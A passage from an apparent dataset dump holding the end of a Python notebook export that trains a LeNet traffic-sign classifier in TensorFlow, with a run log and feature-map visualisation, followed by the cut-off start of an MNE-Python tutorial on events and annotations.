strides=[1, 1, 1, 1], padding='VALID') + conv1_b # strides = [batch, y_direction, x_direction, input_channels]\n    print(\"Shape after 1st convolutional layer: \", conv1.shape)\n    \n    \n    # Activation Function: Rectified Linear Units (ReLU)\n    '''The rectified linear activation function or ReLU for short is a piecewise linear function that will output the \n    input directly if it is positive, otherwise, it will output zero. The sigmoid and hyperbolic tangent activation \n    functions cannot be used in networks with many layers due to the vanishing gradient problem.\n    The rectified linear activation function overcomes the vanishing gradient problem, allowing models to learn faster \n    and perform better.'''\n    conv1 = tf.nn.relu(conv1)\n\n    # Subsampling - Pooling - Max Pooling. Input = 28x28x6. Output = 14x14x6.\n    '''A pooling layer is generally used to:\n        * Decrease the size of the output\n        * Prevent Overfitting'''\n    \n    conv1 = tf.nn.max_pool(conv1, ksize=[1,2,2,1], strides=[1,2,2,1], padding='VALID') # 2x2 Kernal. 2x2 Stride\n    print(\"Shape after 1st pooling: \", conv1.shape)\n\n    # Layer 2: Convolutional. Output = 10x10x16.\n    conv2_W = tf.Variable(tf.truncated_normal(shape=(5, 5, 6, 16), mean = mu, stddev = sigma))\n    conv2_b = tf.Variable(tf.zeros(16))\n    conv2   = tf.nn.conv2d(conv1, conv2_W, strides=[1, 1, 1, 1], padding='VALID') + conv2_b\n    print(\"Shape after 2nd convolutional layer: \", conv2.shape)\n    \n    # Activation Function: Rectified Linear Units (ReLU)\n    conv2 = tf.nn.relu(conv2)\n\n    # Subsampling - Pooling - Max Pooling. Input = 10x10x16. Output = 5x5x16\n    conv2 = tf.nn.max_pool(conv2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')\n    print(\"Shape after 2nd pooling: \", conv2.shape)\n\n    # Flatten. Flattens to a vector Input = 5x5x16 = 400, therefore Output = 400.\n    fc0   = flatten(conv2)\n    \n    # Layer 3: Fully Connected. Input = 400. Output = 120.\n    fc1_W = tf.Variable(tf.truncated_normal(shape=(400, 120), mean = mu, stddev = sigma))\n    fc1_b = tf.Variable(tf.zeros(120))\n    fc1   = tf.matmul(fc0, fc1_W) + fc1_b\n    print(\"Shape after 1st fully connected layer: \", fc1.shape)\n    \n    # Activation Function: Rectified Linear Units (ReLU)\n    fc1    = tf.nn.relu(fc1)\n\n    # Layer 4: Fully Connected. Input = 120. Output = 84.\n    fc2_W  = tf.Variable(tf.truncated_normal(shape=(120, 84), mean = mu, stddev = sigma))\n    fc2_b  = tf.Variable(tf.zeros(84))\n    fc2    = tf.matmul(fc1, fc2_W) + fc2_b\n    print(\"Shape after 2nd fully connected layer: \", fc2.shape)\n    \n    # Activation Function: Rectified Linear Units (ReLU)\n    fc2    = tf.nn.relu(fc2)\n    \n    # Regularization: Dropout\n    '''Dropout is a regularization technique for reducing overfitting.  The technique temporarily drops units (artificial neurons) from\n    from the network, along with all of those units incoming and outgoing connections'''\n    fc2 = tf.nn.dropout(fc2, keep_prob)\n    print(\"Shape after dropout: \", fc2.shape)\n    \n    # Layer 5: Fully Connected. Input = 84. Output = 43.\n    fc3_W  = tf.Variable(tf.truncated_normal(shape=(84, 43), mean = mu, stddev = sigma))\n    fc3_b  = tf.Variable(tf.zeros(43))\n    logits = tf.matmul(fc2, fc3_W) + fc3_b\n    print(\"Shape of Logits after 3rd fully connected layer: \", logits.shape)\n    \n    return logits\n\nprint('completed')\n\n\n# ## Train, Validate and Test the Model\n\n# A validation set can be used to assess how well the model is performing. A low accuracy on the training and validation\n# sets imply underfitting. A high accuracy on the training set but low accuracy on the validation set implies overfitting.\n# \n# ### Setup Hyperparameters\n# \n# `keep_prob` Dropout is a regularization technique for reducing overfitting.  The technique temporarily drops units (artificial neurons) from the network, along with all of those units incoming and outgoing connections.  From Nitish Srivastava [paper](https://www.cs.toronto.edu/~hinton/absps/JMLRdropout.pdf) *\"Dropout probability p independent of other units, where p can be chosen using a validation set or can simply be set at 0.5, which seems to be close to optimal for a wide range of networks and tasks.\"  \n# \n# `EPOCHS` tells TensorFlow how many times to run our training data through the network in general the more epochs, the better our model will train but also the longer training will take.    \n#   \n# `BATCH_SIZE` tells TensorFlow how many training images to run through the network at a time the larger the batch size, the faster our model will train, but our processor may have a memory limit on how large a batch it can run.\n#   \n# `rate` learning rate tells TensorFlow how quickly to update the network's weights; 0.001 is a good default value but can be experimented with.\n\n# In[11]:\n\n\nkeep_prob = 1.0  #0.5 for Training/Valdation, 1.0 for Test\n\nEPOCHS = 40 \n\nBATCH_SIZE = 100 \n\nrate = 0.001 \n\n\n# ### Features and Labels\n# Train our modified LeNet CNN to classify training data.\n# \n# `x` is a placeholder for a batch of input images. Initalize the batch size to `None` which allows the placeholder to later accept a batch of any size.  \n# \n# `y` is a placeholder for a batch of output labels. Initially our `y` labels come through with sparce variables, which means they are integers and not `one-hot` encoded yet.\n# \n# `one_hot_y` is a one-hot-label, a 1D list that is 'n' length of the classes\n\n# In[12]:\n\n\nx = tf.placeholder(tf.float32, (None, 32, 32, 1)) # images\ny = tf.placeholder(tf.int32, (None)) # labels\none_hot_y = tf.one_hot(y, 43) # One-hot label encode each of the 43 classes\n\n\n# ### Training Pipeline\n# Training pipeline that uses the model to classify the \"training\" traffic sign data.\n# \n# `LeNet` pass input date to the LeNet function to calculate our `logits`\n# \n# The learning `rate` tells TensorFlow how quickly to update the network's weights.\n# \n# A `logits` function, also known as the log-odds function, is a function that represents probability values from 0 to 1, and negative infinity to infinity. The function is an inverse to the sigmoid function that limits values between 0 and 1 across the Y-axis, rather than the X-axis.\n# \n# Cross Entropy - After determining our `logits` we need to assign a probability to each label, which can be used to classify the data.  The `softmax function` turns logits into probabilities.  Cross-entropy is just a measure of how different the logits are from the ground truth training labels.\n# \n# Loss Operation - The `tf.reduce_mean` function averages the cross entropy from all of the training images.\n# \n# Optimizer - `AdamOptimizer` is a replacement optimization algorithm for stochastic gradient descent (SGD) for training deep learning models. Adam combines the best properties of the AdaGrad and RMSProp algorithms to provide an optimization algorithm that can handle sparse gradients on noisy problems.  We use our hyperparamter `rate` to tune the learning rate here.\n# \n# Training Operation - The `minimize` function is used on the optimizer which uses backpropagation to update the network and minimize our training loss\n\n# In[13]:\n\n\n# Pipeline\n\nlogits = LeNet(x, keep_prob) # pass the input data to the LeNet function to calculate our logits\n\ncross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels = one_hot_y, logits = logits) # softmax function, compare those\n# logits to the ground truth labels and calculate the cross entropy.\n\nloss_operation = tf.reduce_mean(cross_entropy) # averages the CE from all of the training images\n\noptimizer = tf.train.AdamOptimizer(learning_rate = rate) # uses Adam algorithm to minimize the loss function similarly to SGD.\n\ntraining_operation = optimizer.minimize(loss_operation) # run the minimize function on the optimzier\n\n\n# ### Model Evaluation\n# \n# Evaluate how well the loss and accuracy of the model for a given dataset.\n# \n# `correct_prediction` is to measure whether a given prediction is correct by comparing the `logits` prediction to the `one_hot_y` ground truth label.\n# \n# `accuracy_operation` is to calculate the model's overall accuracy by averaging the individual prediction accuracies.\n# \n# `evaluate` function takes a dataset as input, sets intial variables `num_examples` and `total_accuracy` and batches to data set to run it through the evaluation pipeline.  The function averages each batch to calculate the total accuracy of the model.\n# \n# \n\n# In[14]:\n\n\ncorrect_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(one_hot_y, 1))\naccuracy_operation = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\ndef evaluate(X_data, y_data):\n    num_examples = len(X_data)\n    total_accuracy = 0\n    sess = tf.get_default_session()\n    for offset in range(0, num_examples, BATCH_SIZE):\n        batch_x, batch_y = X_data[offset:offset+BATCH_SIZE], y_data[offset:offset+BATCH_SIZE] # batch the dataset\n        accuracy = sess.run(accuracy_operation, feed_dict={x: batch_x, y: batch_y}) # accuracy = 1 or 0\n        total_accuracy += (accuracy * len(batch_x))\n    return total_accuracy / num_examples\n\n\n# ### Train the Model\n# \n# Run the training data through the training pipeline to train the model.\n# \n# Before each `EPOCHS`, `shuffle` the training set.\n# \n# After each `EPOCHS`, measure the loss and accuracy of the validation set.\n# \n# Save the model after training.\n# \n\n# In[15]:\n\n\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    num_examples = len(X_train)\n    \n    print(\"Training...\")\n    print()\n    for i in range(EPOCHS): # EPOCHS is a set hyperparameter\n        X_train_normalized, y_train = shuffle(X_train_normalized, y_train) # shuffle to prevent training data bias\n        for offset in range(0, num_examples, BATCH_SIZE): # range(start, stop, step)\n            end = offset + BATCH_SIZE\n            batch_x = X_train_normalized[offset:end] # break training data into batches\n            batch_y = y_train[offset:end]\n            sess.run(training_operation, feed_dict={x: batch_x, y: batch_y}) # train the model on each batch\n            \n        # at the end of each epoch, we evaluate the model on our validation data\n        validation_accuracy = evaluate(X_valid_normalized, y_valid)\n        \n        # also evaluate the model on training data to see if the model is over- or underfitted\n        training_accuracy = evaluate(X_train_normalized, y_train)\n        \n        print(\"EPOCH {} ...\".format(i+1))\n        print(\"Accuracy on the validation set = {:.3f}\".format(validation_accuracy))\n        print(\"Accuracy on the training set = {:.3f}\".format(training_accuracy))\n        \n        print()\n        \n    try:\n        saver\n    except NameError:\n        saver = tf.train.Saver()\n    \n    saver.save(sess, 'lenet') # save the model to be able to load it up later and modify it or evaluate it on test dataset\n    print(\"Model saved\")\n\n\n# ### Test Log\n# \n#  2021-02-25  \n# \n# * Test 1 - 94.4 % \n# preprocessing: shuffle, normalization  \n# model: original LeNet, batch size: 128, epochs: 10, rate: 0.001, mu: 0, sigma: 0.1\n# \n# \n# * Test 2 - 90.3 %\n# preprocessing: shuffle, normalization \n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 10, rate: 0.001, mu: 0, sigma: 0.1\n# \n# \n# * Test 3 - 89.0 % \n# preprocessing: shuffle, normalization, added grayscale\n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 10, rate: 0.001, mu: 0, sigma: 0.1  \n# \n# \n# * Test 4 - 98.2 %\n# preprocessing: shuffle, normalization, grayscale\n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 50, rate: 0.001, mu: 0, sigma: 0.1\n# Notes: Changing the number of Epochs improved accuracy greatly, validation accuracy is only 78.3% (overfitting)  \n# \n# \n# * Test 5 - 98.3 % \n# preprocessing: shuffle, normalization, grayscale\n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 50, rate: 0.0005, mu: 0, sigma: 0.1\n# Notes: Changing the learning rate did not improve accuracy, validation accuracy is only 74.5% (overfitting)  \n# \n# \n# * Test 6 - 98.3 %- Added Data Augmentation to add additional training images (rotated)\n# preprocessing: shuffle, normalization, grayscale\n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 50, rate: 0.001, mu: 0, sigma: 0.1\n# Notes: Changing the learning rate did not improve accuracy, validation accuracy is only 82.5% (overfitting)  \n# \n# \n# * Test 7 - 98.0 % - Added Data Augmentation training images (rotated)\n# preprocessing: shuffle, normalization, grayscale\n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 50, rate: 0.001, mu: 0, sigma: 0.1 keep_prob: 0.5 for Dropout\n# Notes: From Nitish Srivastava [paper](https://www.cs.toronto.edu/~hinton/absps/JMLRdropout.pdf) \"*Dropout probability p independent of other units, where p can be chosen using a validation set or can simply be set at 0.5, which seems to be close to optimal for a wide range of networks and tasks.\"*  \n# \n#     \n# * Test 8 - 99.5% !! Training Accuracy / 94.2 % Validation Accuracy !!!\n# Added Data Augmentation training images (rotated)\n# preprocessing: shuffle, normalization (changed normalization to -1 to 1), grayscale\n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 50, rate: 0.001, mu: 0, sigma: 0.1 keep_prob: 0.5 for Dropout\n# Notes: From Nitish Srivastava [paper](https://www.cs.toronto.edu/~hinton/absps/JMLRdropout.pdf) \"<i>Dropout probability p independent of other units, where p can be chosen using a validation set or can simply be set at 0.5, which seems to be close to optimal for a wide range of networks and tasks.\"  \n#   \n#   \n# * Test 9 - 99.7% !! Training Accuracy / 94.8 % Validation Accuracy !!!       \n# Same as Test 8, reduced Batch size to 100.  Slight improvement.  \n# \n#    \n# * Test 10 - 99.6% Training Accuracy / Validation Accuracy = 95.9\n# Added histogram equalization to pre-processing.  Added Data Augmentation training images (rotated)\n# preprocessing: shuffle, normalization (changed normalization to -1 to 1), grayscale\n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 50, rate: 0.001, mu: 0, sigma: 0.1 keep_prob: 0.5 for Dropout  \n#   \n# * Test 11 - **99.5% Training Accuracy / Validation Accuracy = 95.8 %\n# Added histogram equalization to pre-processing.  Added Data Augmentation training images (rotated)\n# preprocessing: shuffle, normalization (changed normalization to -1 to 1), grayscale\n# model: original LeNet plus added a dropout before final 3rd fully connected layer, \n# batch size: 128, epochs: 40, rate: 0.001, mu: 0, sigma: 0.1 keep_prob: 0.5 for Dropout\n# \n\n# ### Test the Model\n# \n# Load our `LeNet` model saved from training and run on test data.\n\n# In[16]:\n\n\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    saver = tf.train.import_meta_graph('./lenet.meta')\n    saver.restore(sess, \"./lenet\")\n    test_accuracy = evaluate(X_test_normalized, y_test)\n    print(\"Accuracy on the Test set = {:.3f}\".format(test_accuracy))\n    \n\n\n# ---\n# \n# ## Test a Model on New Images\n# \n# To test my model I downloaded (5) German road signs at random.  I wanted to try really unique photos, so I tried to find road signs that are toxic as I read about in the following paper [DARTS: Deceiving Autonomous Cars with Toxic Signs](https://arxiv.org/pdf/1802.06430.pdf).  I wanted to ensure the pictures had some graffiti, poor lighting, I also selected a few images that had a limited training data for that class.\n# \n\n# ### Load and Output the Images\n\n# In[17]:\n\n\nimport numpy as np\nimport cv2\nimport glob\nimport os\nfrom PIL import Image\nimport pandas as pd\nimport matplotlib.gridspec as gridspec\n\n\n# Load images from .png files to` NumPy array named X_web\nX_web = np.empty([0, 32, 32, 3], dtype = np.float64) # numpy.empty(shape, dtype); shape > int or tuple of int; \n\n# loading the images into a file list (no numpy array! only a list)\nweb_file_list = [f for f in glob.glob(\"signs/\" + '*.png')]\n \n\nfor i in range(1,6):\n    image = cv2.imread('../CarND-Traffic-Sign-Classifier-Project/signs/example_' + str(i) + '.png')\n    print(\"original image has shape: \", image.shape)\n    img_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n    image_resized = cv2.resize(img_rgb, (32, 32))\n    print(\"resized image has shape:  \", image_resized.shape)\n    cv2.imwrite('../CarND-Traffic-Sign-Classifier-Project/signs/cv2_'+ str(i) +'.png', image_resized)\n    X_web = np.append(X_web, [image_resized[:, :, :3]], axis = 0)\n\n\n# In[18]:\n\n\n# Enter correct labels (groundtruth) for the images found on the web\n\ny_web = np.array([\n    14, # \"example_1\" Stop\n    17, # \"example_2\" No entry\n    4, # \"example_3\" Speed limit (70km/h) \n    19, # \"example_4\" Dangerous curve to the left     \n    0, # \"example_5\" Speed limit (20km/h) \n])\n\n\n# In[19]:\n\n\n# Plot original images from the web\nfig = plt.figure()\nfig.subplots_adjust(left = 0, right = 2, bottom = 0, top = 2, hspace = 0.05, wspace = 0.05)\n\nfor i in range(1,6):\n    axis = fig.add_subplot(1, 6, i + 1, xticks=[], yticks=[])\n    web_image = Image.open('../CarND-Traffic-Sign-Classifier-Project/signs/example_' + str(i) + '.png')\n    axis.imshow(web_image)\n\n\n# ## Pre-Process Data (Normalize & Grayscale Image)\n\n# In[20]:\n\n\n# Normalizing Images for zero mean and equal variance.\nX_web = (X_web - 127.5)/255 #pixel range from 0 to 1\n\n# Convert RGB image to grayscale\nX_web = np.sum(X_web/3, axis=3, keepdims=True)\n\n\nprint(\"X_web[0].shape: \", X_web[0].shape)\nprint(\"X_web.shape: \", X_web.shape)\n\n\n# ### Accuracy\n\n# In[21]:\n\n\n### Run the predictions here and use the model to output the prediction for each image.\n### Make sure to pre-process the images with the same pre-processing pipeline used earlier.\n### Feel free to use as many code cells as needed.\nwith tf.Session() as sess:\n    saver = tf.train.import_meta_graph('lenet.meta')\n    saver.restore(sess, tf.train.latest_checkpoint('./'))\n    num_examples = len(X_web)\n    BATCH_SIZE = 1\n    web_accuracy = evaluate(X_web, y_web)\n    print(\"Accuracy on images found on the web = {:.3f}\".format(web_accuracy))\n\n\n# ### Output Top 5 Softmax Probabilities For Each Image Found on the Web\n\n# For each of the new images, print out the model's softmax probabilities to show the **certainty** of the model's predictions (limit the output to the top 5 probabilities for each image). [`tf.nn.top_k`](https://www.tensorflow.org/versions/r0.12/api_docs/python/nn.html#top_k) could prove helpful here. \n# \n# The example below demonstrates how tf.nn.top_k can be used to find the top k predictions for each image.\n# \n# `tf.nn.top_k` will return the values and indices (class ids) of the top k predictions. So if k=3, for each sign, it'll return the 3 largest probabilities (out of a possible 43) and the correspoding class ids.\n# \n# Take this numpy array as an example. The values in the array represent predictions. The array contains softmax probabilities for five candidate images with six possible classes. `tf.nn.top_k` is used to choose the three classes with the highest probability:\n# \n# ```\n# # (5, 6) array\n# a = np.array([[ 0.24879643,  0.07032244,  0.12641572,  0.34763842,  0.07893497,\n#          0.12789202],\n#        [ 0.28086119,  0.27569815,  0.08594638,  0.0178669 ,  0.18063401,\n#          0.15899337],\n#        [ 0.26076848,  0.23664738,  0.08020603,  0.07001922,  0.1134371 ,\n#          0.23892179],\n#        [ 0.11943333,  0.29198961,  0.02605103,  0.26234032,  0.1351348 ,\n#          0.16505091],\n#        [ 0.09561176,  0.34396535,  0.0643941 ,  0.16240774,  0.24206137,\n#          0.09155967]])\n# ```\n# \n# Running it through `sess.run(tf.nn.top_k(tf.constant(a), k=3))` produces:\n# \n# ```\n# TopKV2(values=array([[ 0.34763842,  0.24879643,  0.12789202],\n#        [ 0.28086119,  0.27569815,  0.18063401],\n#        [ 0.26076848,  0.23892179,  0.23664738],\n#        [ 0.29198961,  0.26234032,  0.16505091],\n#        [ 0.34396535,  0.24206137,  0.16240774]]), indices=array([[3, 0, 5],\n#        [0, 1, 4],\n#        [0, 5, 1],\n#        [1, 3, 5],\n#        [1, 4, 3]], dtype=int32))\n# ```\n# \n# Looking just at the first row we get `[ 0.34763842,  0.24879643,  0.12789202]`, you can confirm these are the 3 largest probabilities in `a`. You'll also notice `[3, 0, 5]` are the corresponding indices.\n\n# In[22]:\n\n\n### Print out the top five softmax probabilities for the predictions on the German traffic sign images found on the web.  \n\ntop_5_probabilities = tf.nn.top_k(tf.nn.softmax(logits), k=5) # tf.nn.top_k(input, k=?)\n\nkeep_prob = 1.0\n\nwith tf.Session() as sess:\n    saver = tf.train.import_meta_graph('lenet.meta')\n    saver.restore(sess, tf.train.latest_checkpoint('./'))\n    top_5_probabilities_output = sess.run(top_5_probabilities, feed_dict = {x:X_web, y:y_web})\n    print(top_5_probabilities_output)\n\n\n# ---\n# \n# ## Visualize the Neural Network's State with Test Images\n# \n#  This Section is not required to complete but acts as an additional excersise for understaning the output of a neural network's weights. While neural networks can be a great learning device they are often referred to as a black box. We can understand what the weights of a neural network look like better by plotting their feature maps. After successfully training your neural network you can see what it's feature maps look like by plotting the output of the network's weight layers in response to a test stimuli image. From these plotted feature maps, it's possible to see what characteristics of an image the network finds interesting. For a sign, maybe the inner network feature maps react with high activation to the sign's boundary outline or to the contrast in the sign's painted symbol.\n# \n#  Provided for you below is the function code that allows you to get the visualization output of any tensorflow weight layer you want. The inputs to the function should be a stimuli image, one used during training or a new one you provided, and then the tensorflow variable name that represents the layer's state during the training process, for instance if you wanted to see what the [LeNet lab's](https://classroom.udacity.com/nanodegrees/nd013/parts/fbf77062-5703-404e-b60c-95b78b2f3f9e/modules/6df7ae49-c61c-4bb2-a23e-6527e69209ec/lessons/601ae704-1035-4287-8b11-e2c2716217ad/concepts/d4aca031-508f-4e0b-b493-e7b706120f81) feature maps looked like for it's second convolutional layer you could enter conv2 as the tf_activation variable.\n# \n# For an example of what feature map outputs look like, check out NVIDIA's results in their paper [End-to-End Deep Learning for Self-Driving Cars](https://devblogs.nvidia.com/parallelforall/deep-learning-self-driving-cars/) in the section Visualization of internal CNN State. NVIDIA was able to show that their network's inner weights had high activations to road boundary lines by comparing feature maps from an image with a clear path to one without. Try experimenting with a similar test to show that your trained network's weights are looking for interesting features, whether it's looking at differences in feature maps from images with or without a sign, or even what feature maps look like in a trained network vs a completely untrained one on the same sign image.\n# \n# <figure>\n#  <img src=\"visualize_cnn.png\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your output should look something like this (above)</p> \n#  </figcaption>\n# </figure>\n#  <p></p> \n# \n\n# In[23]:\n\n\n### Visualize your network's feature maps here.\n\n# image_input: the test image being fed into the network to produce the feature maps\n# tf_activation: should be a tf variable name used during your training procedure that represents the calculated state of a specific weight layer\n# activation_min/max: can be used to view the activation contrast in more detail, by default matplot sets min and max to the actual min and max values of the output\n# plt_num: used to plot out multiple different weight feature map sets on the same block, just extend the plt number for each new feature map entry\n\ndef outputFeatureMap(image_input, tf_activation, activation_min=-1, activation_max=-1 ,plt_num=1):\n    # Here make sure to preprocess your image_input in a way your network expects\n    # with size, normalization, ect if needed\n    # image_input =\n    # Note: x should be the same name as your network's tensorflow data placeholder variable\n    # If you get an error tf_activation is not defined it may be having trouble accessing the variable from inside a function\n    activation = tf_activation.eval(session=sess,feed_dict={x : image_input})\n    featuremaps = activation.shape[3]\n    plt.figure(plt_num, figsize=(15,15))\n    for featuremap in range(featuremaps):\n        plt.subplot(6,8, featuremap+1) # sets the number of feature maps to show on each row and column\n        plt.title('FeatureMap ' + str(featuremap)) # displays the feature map number\n        if activation_min != -1 & activation_max != -1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmin =activation_min, vmax=activation_max, cmap=\"gray\")\n        elif activation_max != -1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmax=activation_max, cmap=\"gray\")\n        elif activation_min !=-1:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", vmin=activation_min, cmap=\"gray\")\n        else:\n            plt.imshow(activation[0,:,:, featuremap], interpolation=\"nearest\", cmap=\"gray\")\n\n\n# In[24]:\n\n\n#LeNet Model will only accept 32x32 images\n\nimg = np.zeros((1,32,32,3))\n\nimg[0,:,:,:] = np.array(Image.open('../CarND-Traffic-Sign-Classifier-Project/signs/example_2.png').resize((32,32)))\n\n#normalize\nimage_input = (img - 127.5)/255\n\n#grayscale\n\nimage_input = np.sum(img/3, axis=3, keepdims=True)\n\nwith tf.Session() as sess:\n    new_saver = tf.train.import_meta_graph('lenet.meta')\n    new_saver.restore(sess, tf.train.latest_checkpoint('.'))\n    \n    conv_1 = tf.get_default_graph().get_tensor_by_name(\"Conv2D_1:0\")\n\n    plt.imshow(np.squeeze(image_input),cmap='gray')\n    plt.show()\n    outputFeatureMap(image_input, conv_1)\n\n", "meta": {"hexsha": "721a296b0587efb1adadb58650bca2d9d8ceaaa3", "size": 40382, "ext": "py", "lang": "Python", "max_stars_repo_path": "Traffic_Sign_Classifier.py", "max_stars_repo_name": "silverwhere/Traffic-Sign-Classifier", "max_stars_repo_head_hexsha": "ae94c6b60cf093fd7e0578a5b42575496b0f16fd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-06-10T00:02:15.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-01T06:29:06.000Z", "max_issues_repo_path": "Traffic_Sign_Classifier.py", "max_issues_repo_name": "silverwhere/Traffic-Sign-Classifier", "max_issues_repo_head_hexsha": "ae94c6b60cf093fd7e0578a5b42575496b0f16fd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Traffic_Sign_Classifier.py", "max_forks_repo_name": "silverwhere/Traffic-Sign-Classifier", "max_forks_repo_head_hexsha": "ae94c6b60cf093fd7e0578a5b42575496b0f16fd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.1893048128, "max_line_length": 796, "alphanum_fraction": 0.7206180972, "include": true, "reason": "import numpy,import scipy", "num_tokens": 10709, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.1968261942204597, "lm_q1q2_score": 0.09610696239712344}}
{"text": "\"\"\"\n.. _tut-annotations:\n\nThe :term:`Events <events>` and :class:`~mne.Annotations` data structures\n=========================================================================\n\n:term:`Events <events>` and :term:`annotations` are quite similar.\nThis tutorial highlights their differences and similarities, and tries to shed\nsome light on which one is preferred to use in different situations when using\nMNE.\n\nBoth events and :class:`~mne.Annotations` can be seen as triplets\nwhere the first element answers to **when** something happens and the last\nelement refers to **what** it is.\nThe main difference is that events represent the onset in samples taking into\naccount the first sample value\n(:attr:`raw.first_samp <mne.io.Raw.first_samp>`), and the description is\nan integer value.\nIn contrast, :class:`~mne.Annotations` represents the\n``onset`` in seconds (relative to the reference ``orig_time``),\nand the ``description`` is an arbitrary string.\nThere is no correspondence between the second element of events and\n:class:`~mne.Annotations`.\nFor events, the second element corresponds to the previous value on the\nstimulus channel from which events are extracted. In practice, the second\nelement is therefore in most cases zero.\nThe second element of :class:`~mne.Annotations` is a float\nindicating its duration in seconds.\n\nSee :ref:`ex-read-events`\nfor a complete example of how to read, select, and visualize **events**;\nand :ref:`tut-artifact-rejection` to\nlearn how :class:`~mne.Annotations` are used to mark bad segments\nof data.\n\nAn example of events and annotations\n------------------------------------\n\nThe following example shows the recorded events in `sample_audvis_raw.fif` and\nmarks bad segments due to eye blinks.\n\"\"\"\n\nimport os.path as op\nimport numpy as np\n\nimport mne\n\n# Load the data\ndata_path = mne.datasets.sample.data_path()\nfname = op.join(data_path, 'MEG', 'sample', 'sample_audvis_raw.fif')\nraw = mne.io.read_raw_fif(fname)\n\n###############################################################################\n# First we'll create and plot events associated with the experimental paradigm:\n\n# extract the events array from the stim channel\nevents = mne.find_events(raw)\n\n# Specify event_id dictionary based on the meaning of experimental triggers\nevent_id = {'Auditory/Left': 1, 'Auditory/Right': 2,\n            'Visual/Left': 3, 'Visual/Right': 4,\n            'smiley': 5, 'button': 32}\ncolor = {1: 'green', 2: 'yellow', 3: 'red', 4: 'c', 5: 'black', 32: 'blue'}\n\nmne.viz.plot_events(events, raw.info['sfreq'], raw.first_samp, color=color,\n                    event_id=event_id)\n\n###############################################################################\n# Next, we're going to detect eye blinks and turn them into\n# :class:`~mne.Annotations`:\n\n# find blinks\nannotated_blink_raw = raw.copy()\neog_events = mne.preprocessing.find_eog_events(raw)\nn_blinks = len(eog_events)\n\n# Turn blink events into Annotations of 0.5 seconds duration,\n# each centered on the blink event:\nonset = eog_events[:, 0] / raw.info['sfreq'] - 0.25\nduration = np.repeat(0.5, n_blinks)\ndescription = ['bad blink'] * n_blinks\nannot = mne.Annotations(onset, duration, description,\n                        orig_time=raw.info['meas_date'])\nannotated_blink_raw.set_annotations(annot)\n\n# plot the annotated raw\nannotated_blink_raw.plot()\n\n\n###############################################################################\n# Add :term:`annotations` to :term:`raw` objects\n# ----------------------------------------------\n#\n# An important element of :class:`~mne.Annotations` is\n# ``orig_time`` which is the time reference for the ``onset``.\n# It is key to understand that when calling\n# :func:`raw.set_annotations <mne.io.Raw.set_annotations>`, given\n# annotations are copied and transformed so that\n# :class:`raw.annotations.orig_time <mne.Annotations>`\n# matches the recording time of the raw object.\n# Refer to the documentation of :class:`~mne.Annotations` to see\n# the expected behavior depending on ``meas_date`` and ``orig_time``.\n# Where ``meas_date`` is the recording time stored in\n# :class:`Info <mne.Info>`.\n# You can find more information about :class:`Info <mne.Info>` in\n# :ref:`tut-info-class`.\n#\n# We'll now manipulate some simulated annotations.\n# The first annotations has ``orig_time`` set to ``None`` while the\n# second is set to a chosen POSIX timestamp for illustration purposes.\n# Note that both annotations have different ``onset`` values.\n\n###############################################################################\n\n# Create an annotation object with orig_time undefined (default)\nannot_none = mne.Annotations(onset=[0, 2, 9], duration=[0.5, 4, 0],\n                             description=['foo', 'bar', 'foo'],\n                             orig_time=None)\nprint(annot_none)\n\n# Create an annotation object with orig_time\norig_time = '2002-12-03 19:01:31.676071'\nannot_orig = mne.Annotations(onset=[22, 24, 31], duration=[0.5, 4, 0],\n                             description=['foo', 'bar', 'foo'],\n                             orig_time=orig_time)\nprint(annot_orig)\n\n###############################################################################\n# Now we create two raw objects and set each with different annotations.\n# Then we plot both raw objects to compare the annotations.\n\n# Create two cropped copies of raw with the two previous annotations\nraw_a = raw.copy().crop(tmax=12).set_annotations(annot_none)\nraw_b = raw.copy().crop(tmax=12).set_annotations(annot_orig)\n\n# Plot the raw objects\nraw_a.plot()\nraw_b.plot()\n\n###############################################################################\n# Note that although the ``onset`` values of both annotations were different,\n# due to complementary ``orig_time`` they are now identical. This is because\n# the first one (``annot_none``), once set in raw, adopted its ``orig_time``.\n# The second one (``annot_orig``) already had an ``orig_time``, so its\n# ``orig_time`` was changed to match the onset time of the raw. Changing an\n# already defined ``orig_time`` of annotations caused its ``onset`` to be\n# recalibrated with respect to the new ``orig_time``. As a result both\n# annotations have now identical ``onset`` and identical ``orig_time``:\n\n# Show the annotations in the raw objects\nprint(raw_a.annotations)\nprint(raw_b.annotations)\n\n# Show that the onsets are the same\nnp.set_printoptions(precision=6)\nprint(raw_a.annotations.onset)\nprint(raw_b.annotations.onset)\n\n###############################################################################\n# Notice again that for the case where ``orig_time`` is ``None``,\n# it is assumed that the 